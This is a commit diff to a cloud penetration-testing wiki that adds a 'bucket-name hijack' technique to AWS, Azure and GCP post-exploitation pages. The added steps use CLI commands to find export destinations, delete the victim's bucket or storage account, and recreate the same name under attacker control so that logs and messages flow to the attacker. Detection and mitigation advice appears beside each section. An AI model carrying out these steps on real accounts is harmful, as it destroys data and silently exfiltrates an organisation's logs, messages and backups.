Skip to content

Commit 356e26a

Browse files
committed
Move bucket hijacking technique to service pages
1 parent d10beb1 commit 356e26a

7 files changed

Lines changed: 193 additions & 43 deletions

File tree

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md

Lines changed: 28 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -109,9 +109,36 @@ aws s3api delete-bucket \
109109
--bucket <BUCKET_NAME>
110110
```
111111

112+
### Global bucket name takeover of autonomous writers - `s3:DeleteBucket`
113+
114+
S3 bucket names are globally unique. If a victim account has automated writers that keep delivering data to `arn:aws:s3:::<bucket-name>` and an attacker can empty/delete that bucket, the attacker may recreate the same bucket name in an attacker-controlled account and receive future deliveries without changing the upstream service configuration.
115+
116+
Good targets to review include S3 replication destinations, Kinesis Data Firehose delivery streams, CloudWatch Logs/SNS/WAF delivery chains that land in S3, and custom backup or export jobs.
117+
118+
```bash
119+
# Review S3 replication destinations on source buckets
120+
aws s3api get-bucket-replication --bucket <SOURCE_BUCKET>
121+
122+
# Review Firehose S3 destinations
123+
aws firehose describe-delivery-stream \
124+
--delivery-stream-name <DELIVERY_STREAM_NAME>
125+
126+
# Empty and delete the target bucket, if permitted
127+
aws s3 rm s3://<BUCKET_NAME> --recursive
128+
aws s3api delete-bucket --bucket <BUCKET_NAME>
129+
130+
# Recreate the same globally-unique name in the attacker account
131+
aws s3 mb s3://<BUCKET_NAME> --region <REGION>
132+
```
133+
134+
The replacement bucket policy must allow the upstream writer to put objects. The exact principal depends on the service: for example an IAM replication role, a Firehose delivery role, or a service principal constrained with `aws:SourceArn` / `aws:SourceAccount`.
135+
136+
**Potential Impact:** silent exfiltration of future replicated objects, logs, telemetry, backups, and pipeline artifacts to an attacker-controlled AWS account.
137+
138+
**Detection & Mitigation:** alert on deletion of buckets referenced by replication rules or delivery streams, monitor for `NoSuchBucket` delivery failures followed by bucket recreation, restrict `s3:DeleteBucket` on export destinations, and pin cross-account deliveries with strict bucket policies and ownership expectations.
139+
112140

113141

114142
**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
115143

116144
{{#include ../../../../banners/hacktricks-training.md}}
117-

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -75,4 +75,20 @@ aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
7575
## Impact
7676
**Potential Impact**: Continuous, durable exfiltration of every message published to the targeted SNS topic into attacker-controlled storage with minimal operational footprint.
7777

78+
## Related Bucket-Name Hijack Variant
79+
80+
If an existing SNS -> Firehose -> S3 chain already writes to a bucket and the attacker can delete that bucket, they may be able to recreate the same globally-unique S3 bucket name in an attacker-controlled account. Future Firehose deliveries can then land in the replacement bucket without changing the SNS subscription or Firehose stream configuration.
81+
82+
```bash
83+
# Identify the Firehose S3 destination
84+
aws firehose describe-delivery-stream \
85+
--delivery-stream-name <DELIVERY_STREAM_NAME> \
86+
--query 'DeliveryStreamDescription.Destinations[].S3DestinationDescription'
87+
88+
# After deleting the original bucket, recreate the same name in the attacker account
89+
aws s3 mb s3://<BUCKET_NAME> --region <REGION>
90+
```
91+
92+
Grant the Firehose delivery role access to the replacement bucket if the role can write cross-account. Monitor for bucket deletion on Firehose destinations, delivery failures, and unexpected bucket ownership changes.
93+
7894
{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md

Lines changed: 30 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,36 @@ az storage blob upload \
4242

4343
This would allow to delete objects inside the storage account which might **interrupt some services** or make the client **lose valuable information**.
4444

45-
{{#include ../../../banners/hacktricks-training.md}}
45+
### Storage account name takeover of diagnostic exports
46+
47+
Azure Storage account names are globally unique. Some autonomous exports, such as Azure Monitor diagnostic settings, keep writing logs or metrics to a configured storage account. If an attacker can delete that storage account and recreate the same name in an attacker-controlled subscription within the same tenant, future exported telemetry may be delivered to the replacement account without modifying the diagnostic setting.
48+
49+
This is especially interesting when the attacker has destructive permissions such as `Microsoft.Storage/storageAccounts/delete`, but cannot update the monitored resource or its diagnostic settings.
4650

51+
This requires the storage account name to be released for reuse. In practice, Azure storage account soft delete / recovery protections can delay or prevent immediate reuse, especially across tenants.
4752

53+
```bash
54+
# Find diagnostic settings that write to a storage account
55+
az monitor diagnostic-settings list \
56+
--resource <RESOURCE_ID> \
57+
--query '[].{name:name,storageAccountId:storageAccountId}'
58+
59+
# Delete the storage account, if permitted
60+
az storage account delete \
61+
--name <STORAGE_ACCOUNT_NAME> \
62+
--resource-group <RESOURCE_GROUP>
63+
64+
# Recreate the same globally-unique storage account name
65+
az storage account create \
66+
--name <STORAGE_ACCOUNT_NAME> \
67+
--resource-group <ATTACKER_RESOURCE_GROUP> \
68+
--location <LOCATION> \
69+
--sku Standard_LRS
70+
```
71+
72+
**Potential Impact:** long-term exfiltration of future logs, metrics, audit data, and diagnostic archives to an attacker-controlled subscription.
73+
74+
**Detection & Mitigation:** alert on deletion of storage accounts referenced by diagnostic settings, inventory diagnostic settings with `storageAccountId`, monitor for dangling destinations, and tightly restrict destructive permissions on logging/archive storage accounts.
75+
76+
{{#include ../../../banners/hacktricks-training.md}}
4877

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md

Lines changed: 30 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -202,7 +202,36 @@ gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
202202

203203
</details>
204204

205-
{{#include ../../../banners/hacktricks-training.md}}
205+
### Cloud Logging sink bucket-name hijack - `storage.buckets.delete`
206+
207+
Cloud Logging sinks can continuously export logs to a Cloud Storage destination such as `storage.googleapis.com/<bucket-name>` or `storage.googleapis.com/<bucket-name>/<prefix>`. If an attacker can delete the destination bucket, but cannot update the sink, they might still redirect future exported logs by recreating the same globally-unique bucket name in an attacker-controlled project.
208+
209+
This is useful when the compromised principal has destructive storage permissions such as `storage.buckets.delete`, `storage.objects.delete`, and `storage.objects.list`, but does not have `logging.sinks.update`.
206210

211+
```bash
212+
# Find sinks that export to Cloud Storage
213+
gcloud logging sinks list --project <PROJECT_ID> \
214+
--format='table(name,destination,disabled,writerIdentity)'
215+
216+
# Empty and delete the destination bucket, if permitted
217+
gcloud storage rm -r gs://<BUCKET_NAME>
218+
219+
# Recreate the same bucket name in the attacker-controlled project
220+
gcloud storage buckets create gs://<BUCKET_NAME> \
221+
--project <ATTACKER_PROJECT_ID> \
222+
--location <LOCATION>
223+
224+
# Allow the sink writer identity to write objects into the replacement bucket
225+
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
226+
--member='serviceAccount:<SINK_WRITER_IDENTITY>' \
227+
--role='roles/storage.objectCreator' \
228+
--project <ATTACKER_PROJECT_ID>
229+
```
230+
231+
**Potential Impact:** silent long-term exfiltration of future audit logs, application logs, security telemetry, and any other events matched by the sink filter.
232+
233+
**Detection & Mitigation:** alert on deletion of buckets referenced by active sinks, inventory sink destinations for dangling bucket names, restrict `storage.buckets.delete` on logging destinations, and protect export buckets with retention/hold controls where possible.
234+
235+
{{#include ../../../banners/hacktricks-training.md}}
207236

208237

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md

Lines changed: 35 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -150,6 +150,41 @@ gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name
150150

151151
</details>
152152

153+
### Cloud Storage subscription bucket-name hijack - `storage.buckets.delete`
154+
155+
Pub/Sub subscriptions can write delivered messages into Cloud Storage buckets. If a subscription keeps pointing to `gs://<bucket-name>` and an attacker can delete that bucket, the attacker may recreate the same globally-unique bucket name in another project and receive future messages without changing the subscription.
156+
157+
This can be valuable when the attacker cannot use `pubsub.subscriptions.update`, but can delete the destination bucket with permissions such as `storage.buckets.delete`, `storage.objects.delete`, and `storage.objects.list`.
158+
159+
```bash
160+
# Find Cloud Storage subscriptions and their destinations
161+
gcloud pubsub subscriptions list --project <PROJECT_ID> \
162+
--format='json(name,topic,cloudStorageConfig)'
163+
164+
# Empty and delete the destination bucket
165+
gcloud storage rm -r gs://<BUCKET_NAME>
166+
167+
# Recreate the same bucket name under attacker control
168+
gcloud storage buckets create gs://<BUCKET_NAME> \
169+
--project <ATTACKER_PROJECT_ID> \
170+
--location <LOCATION>
171+
172+
# Grant the Pub/Sub service agent write access if delivery requires it
173+
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
174+
--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
175+
--role='roles/storage.objectCreator' \
176+
--project <ATTACKER_PROJECT_ID>
177+
178+
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
179+
--member='serviceAccount:service-<PROJECT_NUMBER>@gcp-sa-pubsub.iam.gserviceaccount.com' \
180+
--role='roles/storage.legacyBucketReader' \
181+
--project <ATTACKER_PROJECT_ID>
182+
```
183+
184+
**Potential Impact:** exfiltration of future Pub/Sub messages archived to Cloud Storage, including application events, failed pipeline payloads, logs, or data lake ingestion records.
185+
186+
**Detection & Mitigation:** alert on deletion of buckets used by Pub/Sub subscriptions, review subscriptions with `cloudStorageConfig`, watch for delivery errors followed by bucket recreation, and limit destructive access on message archival buckets.
187+
153188
### `pubsub.subscriptions.setIamPolicy`
154189

155190
Give yourself the permissions needed to perform any of the previously commented attacks.
@@ -227,5 +262,3 @@ gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
227262

228263
{{#include ../../../banners/hacktricks-training.md}}
229264

230-
231-

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md

Lines changed: 36 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -45,6 +45,42 @@ To delete a bucket:
4545
gcloud storage rm -r gs://<BUCKET_NAME>
4646
```
4747

48+
### Global bucket name takeover of upstream writers
49+
50+
Cloud Storage bucket names are globally unique. Before deleting a bucket, check whether any automated service keeps writing to that bucket by name. If the bucket is deleted and the same name is recreated in an attacker-controlled project, upstream writers such as Cloud Logging sinks, Pub/Sub Cloud Storage subscriptions, or Storage Transfer Service jobs may continue writing future data to the replacement bucket.
51+
52+
```bash
53+
# Cloud Logging sinks using GCS
54+
gcloud logging sinks list --project <PROJECT_ID> \
55+
--format='table(name,destination,writerIdentity)'
56+
57+
# Pub/Sub subscriptions writing messages into GCS
58+
gcloud pubsub subscriptions list --project <PROJECT_ID> \
59+
--format='json(name,topic,cloudStorageConfig)'
60+
61+
# Storage Transfer Service jobs
62+
gcloud transfer jobs list --project <PROJECT_ID>
63+
64+
# Delete and reclaim the destination bucket name
65+
gcloud storage rm -r gs://<BUCKET_NAME>
66+
gcloud storage buckets create gs://<BUCKET_NAME> \
67+
--project <ATTACKER_PROJECT_ID> \
68+
--location <LOCATION>
69+
```
70+
71+
Grant the relevant writer identity access to the replacement bucket if the upstream service requires it:
72+
73+
```bash
74+
gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
75+
--member='<WRITER_IDENTITY_MEMBER>' \
76+
--role='roles/storage.objectCreator' \
77+
--project <ATTACKER_PROJECT_ID>
78+
```
79+
80+
**Potential Impact:** long-term exfiltration of logs, messages, transfer outputs, backups, or data pipeline artifacts without modifying the original router resource.
81+
82+
**Detection & Mitigation:** treat bucket deletion as high risk when the bucket is referenced by sinks/subscriptions/jobs, alert on dangling destinations, restrict `storage.buckets.delete`, and use retention policies or legal holds for critical export buckets when appropriate.
83+
4884
### Deactivate HMAC Keys
4985

5086
The `storage.hmacKeys.update` permission allows disabling HMAC keys, and the `storage.hmacKeys.delete` permission allows an identity to delete HMAC keys associated with service accounts in Cloud Storage.
@@ -99,4 +135,3 @@ gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
99135
{{#include ../../../banners/hacktricks-training.md}}
100136

101137

102-

src/pentesting-cloud/pentesting-cloud-methodology.md

Lines changed: 18 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -32,49 +32,31 @@ Each cloud has its own peculiarities but in general there are a few **common thi
3232
- For **integrations inside the cloud you are auditing** from external platforms, you should ask **who has access externally to (ab)use that integration** and check how is that data being used.\
3333
For example, if a service is using a Docker image hosted in GCR, you should ask who has access to modify that and which sensitive info and access will get that image when executed inside an AWS cloud.
3434

35-
### Hunt autonomous data streams that write into globally-unique storage
35+
### Hunt autonomous data streams writing to globally-unique storage
3636

37-
A recurring **cross-cloud post-exploitation primitive** is to find **long-lived routers / sinks / subscriptions / replication jobs** that keep writing into a storage destination identified mainly by a **globally unique name**. If an attacker can **empty + delete** that destination and then **recreate the same name** in an attacker-controlled project/account/subscription, the upstream service may continue delivering data to the replacement destination **without modifying the router resource itself**.
37+
During post-exploitation, review long-lived exports such as log sinks, subscriptions, replication jobs, Firehose streams, and diagnostic settings that write to buckets or storage accounts by globally-unique name. If the destination can be deleted and the same name can be recreated under attacker control, the upstream service might keep delivering sensitive data to the replacement destination even when the attacker cannot update the router resource itself.
3838

39-
This is interesting because it can **bypass the expected permission boundary**: the attacker might not have the permissions needed to update the router (for example `logging.sinks.update`, `pubsub.subscriptions.update` or similar), but a broad destructive storage permission such as `storage.buckets.delete`, `s3:DeleteBucket`, or `Microsoft.Storage/storageAccounts/delete` can still produce equivalent data redirection.
39+
Focus this check in the relevant service pages:
4040

41-
**Generic attack flow:**
42-
43-
1. Identify automated data streams that write to buckets / storage accounts and are expected to run unattended.
44-
2. Verify whether the destination is referenced by **name** and whether that name is **reclaimable** after deletion.
45-
3. Check if your current principal can delete the destination even if it cannot update the router resource.
46-
4. Delete the destination, recreate the same globally-unique name under attacker control, and wait for the next log/message/object delivery cycle.
47-
48-
**Good targets to review:**
49-
50-
- **GCP**: Cloud Logging sinks to GCS, Pub/Sub Cloud Storage subscriptions, Storage Transfer Service jobs.
51-
- **AWS**: S3 replication destinations, Firehose streams writing to S3, and any other service that continuously writes into an S3 bucket by name.
52-
- **Azure**: Azure Monitor diagnostic settings writing to Storage Accounts, especially when deletion/recreation is possible inside the same tenant.
53-
54-
**Quick hunting checklist:**
55-
56-
```bash
57-
# GCP: sinks, subscriptions and transfer jobs that may target GCS
58-
gcloud logging sinks list
59-
gcloud pubsub subscriptions list
60-
gcloud transfer jobs list
61-
62-
# AWS: replication and Firehose destinations
63-
aws s3api get-bucket-replication --bucket <source-bucket>
64-
aws firehose describe-delivery-stream --delivery-stream-name <stream-name>
41+
{{#ref}}
42+
gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
43+
{{#endref}}
6544

66-
# Azure: diagnostic settings pointing to storage accounts
67-
az monitor diagnostic-settings list --resource <resource-id>
68-
```
45+
{{#ref}}
46+
gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
47+
{{#endref}}
6948

70-
**What to report / detect:**
49+
{{#ref}}
50+
gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
51+
{{#endref}}
7152

72-
- Principals that can **delete storage destinations** but cannot formally update the associated router resource.
73-
- **Dangling router resources** still pointing to deleted buckets / storage accounts.
74-
- Sensitive log/export pipelines that can write to **external accounts/projects/subscriptions**.
75-
- High-severity alerts on deletion of buckets / storage accounts that are referenced by sinks, subscriptions, replication rules, transfer jobs, Firehose streams, or diagnostic settings.
53+
{{#ref}}
54+
aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
55+
{{#endref}}
7656

77-
When a cloud environment heavily relies on autonomous exports for **logs, audit trails, backups, telemetry, or message archival**, this review should be part of the standard methodology because the impact is usually **silent long-term exfiltration** rather than immediate service breakage.
57+
{{#ref}}
58+
azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
59+
{{#endref}}
7860

7961
## Multi-Cloud tools
8062

@@ -508,4 +490,3 @@ confidential-computing/luks2-header-malleability-null-cipher-abuse.md
508490
{{#include ../banners/hacktricks-training.md}}
509491

510492

511-

0 commit comments

Comments
 (0)